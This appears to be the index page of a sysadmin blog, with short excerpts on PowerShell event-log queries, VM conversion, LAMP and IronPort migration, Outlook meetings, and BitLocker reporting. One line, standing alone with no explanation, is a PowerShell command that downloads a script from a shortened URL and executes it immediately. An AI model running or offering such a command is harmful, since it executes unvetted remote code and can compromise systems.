Not sure I will ever need to use this again, but needed a way to check who last rebooted a server. We used this code: Get-EventLog -logname “system” | where-object {($_.eventid -eq 1074)} | % {if(($_.TimeGenerated).DayOfYear -eq (get-date).DayOfYear){$_.EventID,$_.TimeGenerated,$_.Message}} Note that event ID 1074 gives you if a user requested a… Continue reading
iex (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w “)
A note we found this weekend. When converting from a Virtual on HyperV to vSphere we used the builtin tools in vSphere. But we were doing the conversion over a VPN from 2 different domains. Error at 1% with conversion server error stating Host Not Found just after a reference… Continue reading
This assumes you have created a LAMP server and it is working correctly 1. copy files using ftp client 2. Make Backup of sql (mysqldump -u root -p [databasename] > Backupfile.sql;) 3. on new server – upload files (/var/www/[sitename]) 4. copy sql backup to directory to restore from 5. connect… Continue reading
After having to sit in the conference room for 4 days straight and participate in a “PC Pitstop” where users brought thier laptops in i began to think there has got to be an easier way to do some of this, which lead me on a google quest for: AutoUpdate CRM Server…. Continue reading
We Migrated from a C160 to a C170 IronPort device. In doing so the new device was setup with the same config file as the old device but the Safe / Block List is a seperate file than the config file. We had to do the following steps to move… Continue reading
We had an incident where a user was inviting attendees to her meeting using Outlook Scheduling Assistant. She would create a meeting then add all the attendees and send out the invite. Well an attendee would delete that event from their Outlook Calendar and it would in turn send out to… Continue reading
So in the last post <here> I created a CSV file for all the domain computers that had a Bitlocker key assigned to it. Going with the work smarter not harder mantra this post will take that CSV file and update a list on our sharepoint site so I can… Continue reading
We have been enabling Bitlocker using the MS Script which updates AD with the Key and Owner Information. In an effort to see which machines have been bitlockered I was asked to come up with an process to do this. Being a sys admin ofcourse I looked for an automated… Continue reading
This is a work in progress script that will Save and clear event logs. I got this from http://technet.microsoft.com/en-us/magazine/2009.07.heyscriptingguy.aspx In the futre I will be adding code to upload the files to Sharepoint Document Library or List (still thinking of the best way I want to review these). I will… Continue reading